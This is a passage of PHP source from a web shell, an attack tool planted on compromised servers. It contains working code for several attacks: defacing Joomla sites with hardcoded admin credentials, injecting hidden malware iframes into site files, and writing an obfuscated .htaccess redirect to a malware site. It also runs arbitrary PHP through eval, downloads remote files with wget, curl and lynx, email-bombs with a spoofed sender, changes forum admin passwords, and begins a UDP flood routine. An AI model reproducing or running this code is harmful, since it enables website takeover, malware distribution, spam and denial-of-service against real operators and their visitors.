CURLOPT_POSTFIELDS,\"username=admin&passwd=123456789&option=com_login&task=login&return=\".\$return.\"&\".\$hidden.\"=1\");\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_FOLLOWLOCATION, 1);\r\n\t\t\tcurl_setopt(\$ch,CURLOPT_RETURNTRANSFER,1);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_HEADER, 0);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_USERAGENT, \$useragent);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_COOKIEJAR, \$co); \r\n\t\t\tcurl_setopt(\$ch, CURLOPT_COOKIEFILE, \$co); \r\n\t\t\t\$buffer = curl_exec(\$ch);\r\n\t\t\t\t\t\t\r\n\t\t\t\$pos = strpos(\$buffer,\"com_config\");\r\n\t\t\tif(\$pos === false) \r\n\t\t\t{\r\n\t\t\t\techo(\"<br>[-] Login Error\");\r\n\t\t\t\texit;\r\n\t\t\t}\r\n\t\t\t\t\t\t\t\t\t\t\r\n\t\t\t\$url2=\$site_url.\"/index.php?option=com_templates&task=source.edit&id=\".base64_encode(\$template_id.\":index.php\");\r\n\t\t\t\$ch = curl_init();\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_URL, \$url2);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_FOLLOWLOCATION, 1);\r\n\t\t\tcurl_setopt(\$ch,CURLOPT_RETURNTRANSFER,1);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_HEADER, 0);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_USERAGENT, \$useragent);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_COOKIEJAR, \$co); \r\n\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_COOKIEFILE, \$co); \r\n\t\t\t\$buffer = curl_exec(\$ch);\r\n\t\t\t\t\r\n\t\t\t\$hidden2=entre2v2(\$buffer ,'<input type=\"hidden\" name=\"','\" value=\"1\"',2);\r\n\t\t\tif(!\$hidden2) \r\n\t\t\t{\r\n\t\t\t\techo(\"<br>[-] index.php Not found in Theme Editor\");\r\n\t\t\t\texit;\r\n\t\t\t}\r\n\t\t\t\t\t\t\r\n\t\t\t\$url2=\$site_url.\"/index.php?option=com_templates&layout=edit\";\r\n\t\t\t\t\t\t\r\n\t\t\t\$ch = curl_init();\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_URL, \$url2);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_POST, 1);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_POSTFIELDS,\"jform[source]=\".\$h.\"&jform[filename]=index.php&jform[extension_id]=\".\$template_id.\"&\".\$hidden2.\"=1&task=source.save\");\r\n\t\t\t\t\t\t\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_FOLLOWLOCATION, 1);\r\n\t\t\tcurl_setopt(\$ch,CURLOPT_RETURNTRANSFER,1);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_HEADER, 0);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_USERAGENT, \$useragent);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_COOKIEJAR, \$co); \r\n\t\t\tcurl_setopt(\$ch, CURLOPT_COOKIEFILE, \$co); \r\n\t\t\t\$buffer = curl_exec(\$ch);\r\n\t\t\t\t\r\n\t\t\t\$pos = strpos(\$buffer,'<dd class=\"message message\">');\r\n\t\t\tif(\$pos === false) \r\n\t\t\t{\r\n\t\t\t\techo(\"<center><font  size=4><blink>Cannot Deface Joomla</blink></font></center>\");\r\n\t\t\t}\r\n\t\t\telse \r\n\t\t\t{\r\n\t\t\t\techo(\"<center><font class=txt size=4><blink>Joomla Defaced Successfully</blink></font></center>\");\r\n\t\t\t}\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t\$req =mysql_query(\"SELECT * from  `\".\$dbprefix.\"templates_menu` WHERE client_id='0'\");\r\n\t\t\t\$data = mysql_fetch_array(\$req);\r\n\t\t\t\$template_name=\$data[\"template\"];\r\n\t\t\t\t\r\n\t\t\t\$url2=\$site_url.\"/index.php\";\r\n\t\t\t\$ch = curl_init();\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_URL, \$url2);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_FOLLOWLOCATION, 1);\r\n\t\t\tcurl_setopt(\$ch,CURLOPT_RETURNTRANSFER,1);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_HEADER, 1);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_USERAGENT, \$useragent);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_COOKIEJAR, \$co); \r\n\t\t\tcurl_setopt(\$ch, CURLOPT_COOKIEFILE, \$co); \r\n\t\t\t\$buffer = curl_exec(\$ch);\r\n\t\t\t\t\t\t\r\n\t\t\t\$hidden=entre2v2(\$buffer ,'<input type=\"hidden\" name=\"','\" value=\"1\"',3);\r\n\t\t\t\t\r\n\t\t\t\$url2=\$site_url.\"/index.php\";\r\n\t\t\t\$ch = curl_init();\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_URL, \$url2);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_POST, 1);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_POSTFIELDS,\"username=admin&passwd=123456789&option=com_login&task=login&\".\$hidden.\"=1\");\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_FOLLOWLOCATION, 1);\r\n\t\t\tcurl_setopt(\$ch,CURLOPT_RETURNTRANSFER,1);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_HEADER, 0);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_USERAGENT, \$useragent);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_COOKIEJAR, \$co); \r\n\t\t\tcurl_setopt(\$ch, CURLOPT_COOKIEFILE, \$co); \r\n\t\t\t\$buffer = curl_exec(\$ch);\r\n\t\t\t\t\t\t\r\n\t\t\t\$pos = strpos(\$buffer,\"com_config\");\r\n\t\r\n\t\t\tif(\$pos === false) \r\n\t\t\t{\r\n\t\t\t\techo(\"<br>[-] Login Error\");\r\n\t\t\t\texit;\r\n\t\t\t}\r\n\t\t\t\t\t\t\t\t\t\t\r\n\t\t\t\$url2=\$site_url.\"/index.php?option=com_templates&task=edit_source&client=0&id=\".\$template_name;\r\n\t\t\t\$ch = curl_init();\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_URL, \$url2);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_FOLLOWLOCATION, 1);\r\n\t\t\tcurl_setopt(\$ch,CURLOPT_RETURNTRANSFER,1);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_HEADER, 0);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_USERAGENT, \$useragent);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_COOKIEJAR, \$co); \r\n\t\t\tcurl_setopt(\$ch, CURLOPT_COOKIEFILE, \$co); \r\n\t\t\t\$buffer = curl_exec(\$ch);\r\n\t\t\t\t\t\t\r\n\t\t\t\$hidden2=entre2v2(\$buffer ,'<input type=\"hidden\" name=\"','\" value=\"1\"',6);\r\n\t\t\t\t\r\n\t\t\tif(!\$hidden2) \r\n\t\t\t{\r\n\t\t\t\techo(\"<br>[-] index.php Not found in Theme Editor\");\r\n\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\$url2=\$site_url.\"/index.php?option=com_templates&layout=edit\";\r\n\t\t\t\$ch = curl_init();\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_URL, \$url2);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_POST, 1);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_POSTFIELDS,\"filecontent=\".\$h.\"&id=\".\$template_name.\"&cid[]=\".\$template_name.\"&\".\$hidden2.\"=1&task=save_source&client=0\");\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_FOLLOWLOCATION, 1);\r\n\t\t\tcurl_setopt(\$ch,CURLOPT_RETURNTRANSFER,1);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_HEADER, 0);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_USERAGENT, \$useragent);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_COOKIEJAR, \$co); \r\n\t\t\tcurl_setopt(\$ch, CURLOPT_COOKIEFILE, \$co); \r\n\t\t\t\$buffer = curl_exec(\$ch);\r\n\t\t\t\t\t\t\r\n\t\t\t\$pos = strpos(\$buffer,'<dd class=\"message message fade\">');\r\n\t\t\tif(\$pos === false) \r\n\t\t\t{\r\n\t\t\t\techo(\"<center><font  size=4><blink>Cannot Deface Joomla</blink></font></center>\");\r\n\t\t\t\texit;\r\n\t\t\t}\r\n\t\t\telse \r\n\t\t\t{\r\n\t\t\t\techo(\"<center><font class=txt size=4><blink>Joomla Defaced Successfully</blink></font></center>\");\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\nelse if(isset(\$_POST['pathtomass']) &&  \$_POST['pathtomass'] != '' &&  isset(\$_POST['filetype']) &&  \$_POST['filetype'] != '' &&  isset(\$_POST['mode']) &&  \$_POST['mode'] != '' && isset(\$_POST['injectthis']) &&  \$_POST['injectthis'] != '')\r\n{\r\n    \$filetype = \$_POST['filetype'];\r\n    \r\n    \$mode = \"a\"; \r\n            \r\n    if(\$_POST['mode'] == 'Apender')\r\n         \$mode = \"a\";\r\n   \r\n    if(\$_POST['mode'] == 'Overwriter')\r\n         \$mode = \"w\";\r\n        \r\n   \tif (is_dir(\$_POST['pathtomass'])) \r\n\t{\r\n\t\t\$lolinject = \$_POST['injectthis'];\r\n\t\t\$mypath = \$_POST['pathtomass'] .\$directorysperator. \"*.\".\$filetype;\r\n\t\tif(substr(\$_POST['pathtomass'], -1) == \"\\\\\")\r\n\t\t\t\$mypath = \$_POST['pathtomass'] . \"*.\".\$filetype;\r\n\t\tforeach (glob(\$mypath) as \$injectj00) \r\n\t\t{\r\n\t\t\tif(\$injectj00 == __FILE__)\r\n\t\t\t\tcontinue;\r\n\t\t\t\$fp=fopen(\$injectj00,\$mode);\r\n\t\t\tif (fputs(\$fp,\$lolinject))\r\n\t\t\t\techo '<br><font class=txt size=3>'.\$injectj00.' was injected<br></font>';\r\n\t\t\telse\r\n\t\t\t\techo 'failed to inject '.\$injectj00.'<br>';\r\n\t\t}\r\n\t}\r\n\telse \r\n\t\techo '<b>'.\$_POST['pathtomass'].' is not available!</b>';\r\n}\r\nelse if(isset(\$_POST['mailfunction']))\r\n{\r\n\tif(\$_POST['mailfunction'] == \"dobombing\")\r\n\t{\r\n\t\tif(isset(\$_POST['to']) && isset(\$_POST['subject']) && isset(\$_POST['message']) && isset(\$_POST['times']) && \$_POST['to'] != '' && \$_POST['subject'] != '' && \t\t\t\$_POST['message'] != '' && \$_POST['times'] != '')\r\n\t\t{\r\n\t\t\t\$times = \$_POST['times'];\r\n\t\t\twhile(\$times--)\r\n\t\t\t{\r\n\t\t\t\tif(isset(\$_POST['padding']))\r\n\t\t\t\t{\r\n\t\t\t\t\t\$fromPadd = rand(0,9999);\r\n\t\t\t\t\t\$subjectPadd = \" -- ID : \".rand(0,9999999);\r\n\t\t\t\t\t\$messagePadd = \"\\n\\n------------------------------\\n\".rand(0,99999999);\r\n\t\t\t\t\t\r\n\t\t\t\t}\r\n\t\t\t\t\$from = \"president\$fromPadd@whitehouse.gov\";\r\n\t\t\t\tif(!mail(\$_POST['to'],\$_POST['subject'].\$subjectPadd,\$_POST['message'].\$messagePadd,\"From:\".\$from))\r\n\t\t\t\t{\r\n\t\t\t\t\t\$error = 1;\r\n\t\t\t\t\techo \"<center><font  size=3><blink><blink>Some Error Occured!</blink></font></center>\";\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif(\$error != 1)\r\n\t\t\t\techo \"<center><font class=txt size=3><blink>Mail(s) Sent!</blink></font></center>\";\r\n\t\t}\r\n\t}\r\n\telse if(\$_POST['mailfunction'] == \"massmailing\")\r\n\t{\r\n\t\tif(isset(\$_POST['to']) &&  isset(\$_POST['from']) &&  isset(\$_POST['subject']) && isset(\$_POST['message']))\r\n\t\t{\r\n   \t\t\tif(mail(\$_POST['to'],\$_POST['subject'],\$_POST['message'],\"From:\".\$_POST['from']))\r\n        \t    echo \"<center><font class=txt size=3><blink>Mail Sent!</blink></font></center>\";\r\n        \telse\r\n        \t    echo \"<center><font  size=3><blink>Some Error Occured!</blink></font></center>\";\r\n\t\t}\r\n\t}\r\n}\r\nelse if(isset(\$_POST['code']))\r\n{\r\n\tif(\$_POST['code'] != null && isset(\$_POST['intext']) && \$_POST['intext'] == \"true\")\r\n\t{\r\n\t\t// FIlter Some Chars we dont need\r\n\t\t?><br>\r\n\t\t<textarea name=\"code\" class=\"box\" cols=\"120\" rows=\"10\"><?php \r\n\t\t\$code = str_replace(\"<?php\",\"\",\$_POST['code']);\r\n\t\t\$code = str_replace(\"<?\",\"\",\$code);\r\n\t\t\$code = str_replace(\"?>\",\"\",\$code);\r\n\t\r\n\t\t// Evaluate PHP CoDE!\r\n\t\thtmlspecialchars(eval(\$code));\r\n\t\t?>\r\n\t\t</textarea><?php \r\n\t}\r\n\telse if(\$_POST['code'] != null && \$_POST['intext'] == \"false\")\r\n\t{\r\n\t\t\$code = str_replace(\"<?php\",\"\",\$_POST['code']);\r\n\t\t\$code = str_replace(\"<?\",\"\",\$code);\r\n\t\t\$code = str_replace(\"?>\",\"\",\$code);\r\n\r\n\t\t// Evaluate PHP CoDE!\r\n\t\t?><br><font  size=\"4\">Result of execution this PHP-code :</font><br><font class=txt><?php htmlspecialchars(eval(\$code)); ?></font><?php\r\n\t}\r\n}\r\nelse if(isset(\$_GET['infect']))\r\n{\r\n\t\$coun = 0;\r\n\t\$str = \"<iframe width=0px height=0px frameborder=no name=frame1 src=\".\$malsite.\"> </iframe>\";\r\n\tforeach (glob(\$_GET['path'] . \"*.php\") as \$injectj00) \r\n    {\r\n\t\tif(\$injectj00 == __FILE__)\r\n\t\t\tcontinue;\r\n\t    if(\$myfile=fopen(\$injectj00,'a'))\r\n\t    {\r\n\t\t\tfputs(\$myfile, \$str);\r\n\t\t\tfclose(\$myfile);\r\n\t\t\t\$coun = 1;\r\n\t    }\r\n    }\r\n    foreach (glob(\$_GET['path'] . \$directorysperator . \"*.htm\") as \$injectj00) \r\n    {\r\n\t   if(\$myfile=fopen(\$injectj00,'a'))\r\n\t   {\t\r\n\t    \tfputs(\$myfile, \$str);\r\n\t\tfclose(\$myfile);\r\n\t\t\$coun = 1;\r\n\t   }\r\n\t}\r\n\tforeach (glob(\$_GET['path'] . \$directorysperator . \"*.html\") as \$injectj00) \r\n\t{\r\n\t\tif(\$myfile=fopen(\$injectj00,'a'))\r\n\t\t{\r\n\t\t\t fputs(\$myfile, \$str);\r\n\t\t\t fclose(\$myfile);\r\n\t\t\t \$coun = 1;\r\n\t\t}\r\n\t }\r\n\t\t\t\t \r\n\r\n\tif(\$coun == 1)\r\n\t\techo \"<center>Done !!!!<center>\";\r\n\telse\r\n\t\techo \"<center>Cannot open files !!!!<center>\";\r\n}\r\nelse if(isset(\$_GET['redirect']))\r\n{\r\n\tif(\$myfile = fopen(\".htaccess\",'a'))\r\n\t{\r\n\t\t\$mal = \"eNqV0UtrAjEQAOC70P8wYHsRyRa8FYpQSR9QXAmCBxHJrkMSjDNhk/pA/O+uFuyx5javj4GZLrzJj68xzLhZTRqM8aGjcNe4hJKMI4SSbpUyJMcUwZHFNr/VR0wreDp+TqeTpZLvUkl1AtHTcS1q3ojeI8zHo36pFv8Jw2w8ZoBNpMuK+0HlyOQJ77aYJzT7TOCT3rqYdB7Dfd0280xE3dRWHLRl/lV/RP14bEfAphReisJ4rrQPvGt/TcboZK8BXy9eOBLBhiG9Dp5hrvrfizOeH7rw\";\r\n\t\tfwrite(\$myfile, gzuncompress(base64_decode(\$mal)));\r\n\t\tfwrite(\$myfile, \"\\n\\r\");\r\n\t\tfclose(\$myfile);\r\n\t\techo \"<center>Done !!!!<center>\";\r\n\t}\r\n\telse\r\n\t\techo \"<center>Cannot open file !!!!<center>\";\r\n}\r\nelse if(isset(\$_GET['malware']))\r\n{ ?>\r\n\t<input type=\"hidden\" id=\"malpath\" value=\"<?php echo \$_GET[\"dir\"]; ?>\">\r\n\t<center><table><tr><td><a href=# onClick=\"malwarefun('infect')\"><font class=txt size=\"4\">| Infect Users |</font></a></td>\r\n\t<td><a href=javascript:void(0) onClick=\"malwarefun('redirect')\"><font class=txt size=\"4\">| Redirect Search Engine TO Malwared site |</font></a></td></tr></table></center>\r\n\t<div id=\"showmal\"></div>\r\n\t<?php\r\n}\t\r\nelse if(isset(\$_GET['codeinsert']))\r\n{\r\n\tif(\$file1 = fopen(\".htaccess\",'r'))\r\n\t{\r\n\t?><div id=\"showcode\"></div>\r\n\t<form method=post>\r\n\t<textarea rows=9 cols=110 name=\"code\" class=box><?php while(!feof(\$file1)) { echo fgets(\$file1); } ?></textarea><br>\r\n\t<input type=\"button\" onClick=\"codeinsert(code.value)\" value=\"  Insert  \" class=but>\r\n\t</form>\r\n\t<?php }\r\n\telse\r\n\t\techo \"<center>Cannot Open File!!</center>\";\r\n}\r\nelse if(isset(\$_POST['getcode'])) \r\n{\r\n\t if(\$myfile = fopen(\".htaccess\",'a'))\r\n\t{\r\n\t\tfwrite(\$myfile, \$_POST['getcode']);\r\n\t\tfwrite(\$myfile, \"\\n\\r\");\r\n\t\tfclose(\$myfile);\r\n\t\techo \"<font class=txt>Code Inserted Successfully!!!!</font>\";\r\n\t}\r\n\telse\r\n\t\techo \"Permission Denied\";\r\n}\r\nelse if(isset(\$_GET['uploadurl']))\r\n{\r\n\t\$functiontype = trim(\$_GET['functiontype']); \r\n\t\$wurl = trim(\$_GET['wurl']); \r\n\t\$path = magicboom(\$_GET['path']); \r\n\t\r\n\tfunction remotedownload(\$cmd,\$url)\r\n\t{ \r\n\t\t\$namafile = basename(\$url); \r\n\t\tswitch(\$cmd) \r\n\t\t{ \r\n\t\t\tcase 'wwget': \r\n\t\t\t\texecmd(which('wget').\" \".\$url.\" -O \".\$namafile);\r\n\t\t\t\tbreak; \r\n\t\t\tcase 'wlynx': \r\n\t\t\t\texecmd(which('lynx').\" -source \".\$url.\" > \".\$namafile);\r\n\t\t\t\tbreak; \r\n\t\t\tcase 'wfread' : \r\n\t\t\t\texecmd(\$wurl,\$namafile);\r\n\t\t\t\tbreak; \r\n\t\t\tcase 'wfetch' : \r\n\t\t\t\texecmd(which('fetch').\" -o \".\$namafile.\" -p \".\$url);\r\n\t\t\t\tbreak; \r\n\t\t\tcase 'wlinks' : \r\n\t\t\t\texecmd(which('links').\" -source \".\$url.\" > \".\$namafile);\r\n\t\t\t\tbreak; \r\n\t\t\tcase 'wget' : \r\n\t\t\t\texecmd(which('GET').\" \".\$url.\" > \".\$namafile);\r\n\t\t\t\tbreak; \r\n\t\t\tcase 'wcurl' : \r\n\t\t\t\texecmd(which('curl').\" \".\$url.\" -o \".\$namafile);\r\n\t\t\t\tbreak; \r\n\t\t\tdefault: \r\n\t\t\tbreak; \r\n\t\t} \r\n\t\treturn \$namafile; \r\n\t}\r\n\t\$namafile = remotedownload(\$functiontype,\$wurl); \r\n\t\$fullpath = \$path . \$directorysperator . \$namafile;\r\n\tif(is_file(\$fullpath)) \r\n\t{ \r\n\t\techo \"<center><font class=txt>File uploaded to \$fullpath</font></center>\"; \r\n\t} \r\n\telse \r\n\t\techo \"<center>Failed to upload \$namafile</center>\"; \r\n}\r\nelse if(isset(\$_GET['createfolder']))\r\n{\r\n\tif(!mkdir(\$_GET['createfolder']))\r\n\t\t\techo \"Failed To create\";\r\n\telse\r\n\t\techo \"<font class=txt>Folder Created Successfully</font>\";\r\n}\r\nelse if(isset(\$_GET['selfkill']))\r\n{\r\n\tif(unlink(__FILE__))\r\n\t\techo \"<br><center><font size=5>Good Bye......</font></center>\";\r\n\telse\r\n\t\techo \"<br><center><font size=5>Shell cannot be removed......</font></center>\";\r\n}\r\nelse if(isset(\$_GET['Create']))\r\n{\r\n\t?>\r\n\t<form method=\"post\">\r\n\t\t<input type=\"hidden\" name=\"filecreator\" value=\"<?php echo \$_GET['Create']; ?>\">\r\n\t\t<textarea name=\"filecontent\" rows=\"12\" cols=\"100\" class=\"box\"></textarea><br />\r\n        <input type=\"button\" onClick=\"createfile(filecreator.value,filecontent.value)\" value=\"  Save \" class=\"but\"/>\r\n  </form>\r\n\t\t\r\n<?php }\r\nelse if(isset(\$_POST['filecreator'])&&isset(\$_POST['filecontent']))\r\n{\r\n\t\$content = \$_POST['filecontent'];\r\n\tif(\$file_pointer = fopen(\$_POST['filecreator'], \"w+\"))\r\n\t{\r\n\t\tfwrite(\$file_pointer, \$content); \r\n\t\tfclose(\$file_pointer);\r\n\t\techo \"<font class=txt>File Created Successfully</font>\";\r\n\t}\r\n\telse\r\n\t\techo \"Cannot Create File\";\r\n}\r\nelse if(isset(\$_REQUEST[\"defaceforum\"]))\r\n{ \r\n\t?>\r\n\t<center><div id=\"showdeface\"></div>\r\n\t<font color=\"#FF0000\" size=\"4\">Forum Index Changer</font>\r\n\t<form action=\"<?php echo \$self; ?>\" method = \"POST\">\r\n\t\t<input type=\"hidden\" name=\"forum\">\r\n\t\t<input type=\"hidden\" name=\"defaceforum\">\r\n\t\t<table border = \"1\" width=\"60%\" style=\"text-align: center;border-color:#333333;\" align=\"center\"> \r\n\t\t\t<tr>\r\n\t\t\t\t<td height=\"50\" width=\"50%\"> <b>Host : </b><input class=\"sbox\" type=\"text\" name=\"f1\" size=\"20\" value=\"localhost\"></td>\r\n\t\t\t\t\r\n\t\t\t\t<td width=\"50%\"><b> Database :</b> <input type =\"text\" class=\"sbox\" name = \"f2\" size=\"20\"></td></tr>\t\t\t\t\t\t\t\t\t\t \t\t\t\t\t\r\n\t\t\t\t<tr><td height=\"50\" width=\"50%\"><b>User :</b> <input type =\"text\" class=\"sbox\" name = \"f3\" size=\"20\"> </td>\r\n\t\t\t\t<td><b> Password :</b>&nbsp; <input class=\"sbox\" type =\"text\" name = \"f4\" size=\"20\"></td></tr>\r\n\t\t\t\r\n\t\t\t\t<tr><td height=\"50\" width=\"50%\">Type : \r\n\t\t\t\t<select class=sbox id=\"forumdeface\" name=\"forumdeface\" onChange=\"checkforum(this.value)\">\r\n\t\t\t\t\t<option value=\"vb\">vbulletin</option>\r\n\t\t\t\t\t<option value=\"mybb\">Mybb</option>\r\n\t\t\t\t\t<option value=\"smf\">SMF</option>\r\n\t\t\t\t\t<option value=\"ipb\">IPB</option>\r\n\t\t\t\t\t<option value=\"wp\">Wordpress</option>\r\n\t\t\t\t\t<option value=\"joomla\">Joomla</option>\r\n\t\t\t\t</select></td>\r\n\t\t\t\t<td height=\"50\" width=\"50%\">Prefix : <input type=\"text\" id=\"tableprefix\" name=\"tableprefix\" class=\"sbox\"></td></td>\r\n\t\t\t\t\r\n\t\t\t</tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td height=\"167\" width=\"50%\" colspan=2>\r\n\t\t\t\t<div style=\"display:none;\" id=\"myjoomla\"><p><b>Site URL : </b><input class=\"box\" type=\"text\" name=\"siteurl\" width=\"80\" value=\"http://site.com/administrator/\"></p></div>\r\n\t\t\t\t\t\r\n\t\t\t\t<div style=\"display:none;\" id=\"smfipb\"><p align=\"center\"><b>Head : </b><input class=\"sbox\" type=\"text\" name=\"head\" size=\"20\" value=\"Hacked\">&nbsp; <b>Kate ID : </b><input class=\"sbox\" type=\"text\" name=\"f5\" size=\"20\" value=\"1\">\r\n\t\t\t\t<label id=\"wordpres\" style=\"display:none; float:right; margin-right:8%;\"><input type=\"checkbox\" name=\"all\" value=\"All\" checked=\"checked\"> All</label></p>\r\n\t\t\t\t</div>\r\n\t\t\t\r\n\t\t\t\t<p align=\"center\">&nbsp;<textarea class=\"box\" name=\"index\" cols=53 rows=8><b>lol ! You Are Hacked !!!!</b></textarea><p align=\"center\">\r\n\t\t\t\t<input type=\"button\" onClick=\"forumdefacefn(index.value,f1.value,f2.value,f3.value,f4.value,forumdeface.value,tableprefix.value,siteurl.value,head.value,all.value,f5.value)\" class=\"but\" value = \"Hack It\">\r\n\t\t\t</td>\r\n\t\t</tr>\r\n\t</table>\r\n\t</form>\r\n\t\t</center>\t\r\n\t<?php \r\n\t\t}\r\n\t\telse if(isset(\$_GET[\"passwordchange\"]))\r\n\t\t{\r\n\t\t\techo \"<center>\";\r\n\t\t\t?>\r\n\t\t\t<div id=\"showchangepass\"></div>\r\n\t\t\t<font color=\"#FF0000\" size=\"4\">Forum Password Changer</font>\r\n\t\t\t<form onSubmit=\"changeforumpassword('forumpass',f1.value,f2.value,f3.value,f4.value,forums.value,tableprefix.value,ipbuid.value,newipbpass.value,username.value,newjoomlapass.value,uid.value,uname.value,newpass.value);return false;\">\r\n\t\t\t<table border = \"1\" width=\"60%\" height=\"246\" style=\"text-align: center;border-color:#333333;\" align=\"center\"> \r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td height=\"50\" width=\"50%\"> <b>Host : </b><input class=\"sbox\" type=\"text\" name=\"f1\" size=\"20\" value=\"localhost\"></td><td height=\"50\" width=\"50\">&nbsp;<b>  DataBase :</b> <input type =\"text\" class=\"sbox\" name = \"f2\" size=\"20\"></td> <tr><td height=\"50\" width=\"50%\">&nbsp;<b>User :</b> <input type =\"text\" class=\"sbox\" name = \"f3\" size=\"20\"></td><td height=\"50\" width=\"50%\"> <b>Password :</b>&nbsp; <input class=\"sbox\" type =\"text\" name = \"f4\" size=\"20\"></td></tr>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t<td height=\"50\" width=\"50%\">Type : \r\n\t\t\t\t\t<select class=sbox id=\"forums\" name=\"forums\" onChange=\"showMsg(this.value)\">\r\n\t\t\t\t\t<option value=\"vb\">vbulletin</option>\r\n\t\t\t\t\t<option value=\"mybb\">Mybb</option>\r\n\t\t\t\t\t<option value=\"smf\">SMF</option>\r\n\t\t\t\t\t<option value=\"ipb\">IPB</option>\r\n\t\t\t\t\t<option value=\"phpbb\">PHPBB</option>\r\n\t\t\t\t\t<option value=\"wp\">Wordpress</option>\r\n\t\t\t\t\t<option value=\"joomla\">Joomla</option>\r\n\t\t\t\t\t</select></td>\r\n\t\t\t\t\t<td height=\"50\" width=\"50%\">Prefix : <input type=\"text\" id=\"tableprefix\" name=\"tableprefix\" class=\"sbox\"></td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td colspan=2 height=\"100\" width=\"780\">\r\n\t\t\t\t\t\r\n\t\t\t\t\t<p align=\"center\"><div id=\"fid\" style=\"display:block;\"><b>User ID :</b> <input class=\"sbox\" type=\"text\" name=\"ipbuid\" size=\"20\" value=\"1\">&nbsp;<b>New Password :</b> <input type =\"text\" class=\"sbox\" name = \"newipbpass\" size=\"20\" value=\"hacked\"></div>\r\n\t\t\t\t\t\r\n\t\t\t\t\t<div id=\"joomla\" style=\"display:none;\"><b>New Username :</b> <input style=\"width:170px;\" class=\"box\" type=\"text\" name=\"username\" size=\"20\" value=\"admin\">&nbsp;<b>New Password :</b> <input type =\"text\" class=\"sbox\" name = \"newjoomlapass\" size=\"20\" value=\"hacked\"></div>\r\n\t\t\t\t\t\r\n\t\t\t\t\t<div id=\"wpress\" style=\"display:none;\"><p><b>User ID :</b> <input class=\"sbox\" type=\"text\" name=\"uid\" size=\"20\" value=\"1\">&nbsp;<b>New Password :</b> <input type =\"text\" class=\"sbox\" name = \"newpass\" size=\"20\" value=\"hacked\"></p><b>New Username :</b> <input style=\"width:170px;\" class=\"box\" type=\"text\" name=\"uname\" size=\"20\" value=\"admin\"></div>\r\n\t\t\t\t\t\r\n\t\t\t\t\t<p><input type = \"button\" onClick=\"changeforumpassword('forumpass',f1.value,f2.value,f3.value,f4.value,forums.value,tableprefix.value,ipbuid.value,newipbpass.value,username.value,newjoomlapass.value,uid.value,uname.value,newpass.value)\" class=\"but\" value = \"  Change IT  \" name=\"forumpass\"></p></td>\r\n\t\t\t\t</tr>\r\n\t\t\t</table>\r\n\t\t\t</form>\r\n\t\t</center>\t\r\n\t\t\t<?php\r\n}\r\nelse if(isset(\$_GET['dosser']))\r\n{\r\n\tif(isset(\$_GET['ip']) &&  isset(\$_GET['exTime']) && isset(\$_GET['port']) && isset(\$_GET['timeout']) && isset(\$_GET['exTime']) && \$_GET['exTime'] != \"\" &&\r\n\t\t\$_GET['port'] != \"\" && \$_GET['ip'] != \"\" &&\t\$_GET['timeout'] != \"\" && \$_GET['exTime'] != \"\"\t)\r\n\t{\r\n\t\t   \$IP=\$_GET['ip'];\r\n\t\t   \$port=\$_GET['port'];\r\n\t\t   \$executionTime = \$_GET['exTime'];\r\n\t\t   \$no0fBytes = \$_GET['no0fBytes'];\r\n\t\t   \$data = \"\";\r\n\t\t   \$timeout = \$_GET['timeout'];\r\n\t\t   \$packets = 0;\r\n\t\t   \$counter = \$no0fBytes;\r\n\t\t   \$maxTime = time() + \$executionTime;;\r\n\t\t   while(\$counter--)\r\n\t\t   {\r\n\t\t\t\t\$data .= \"X\";\r\n\t\t   }\r\n\t\t   \$data .= \" Dhanush\"; \r\n\t\t   \r\n\t\t   while(1)\r\n\t\t   {\r\n\t\t\t\t\$socket = fsockopen(\"udp://\$IP\", \$port, \$error, \$errorString, \$timeout);\r\n\t\t\t\tif(\$socket)\r\n\t\t\t\t{\r\n\t\t\t\t\tfwrite(\$socket , \$data);\r\n\t\t\t\t\tfclose(\$socket);\r\n\t\t\t\t\t\$packets++;\r\n\t\t\t\t}\r\n\t\t\t\tif(time() >= 